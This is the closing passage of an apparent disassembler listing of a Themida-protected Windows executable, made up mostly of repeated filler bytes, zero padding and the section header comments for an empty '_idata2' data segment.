db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ',0
align 4
dd 144h dup(0)
db 2 dup(0)
word_616C4E dw 0 ; DATA XREF: ___:off_4452F4o
dd 1CECh dup(0)
Themida_ ends
; Section 5. (virtual address 0021E000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 0021E000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 61E000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start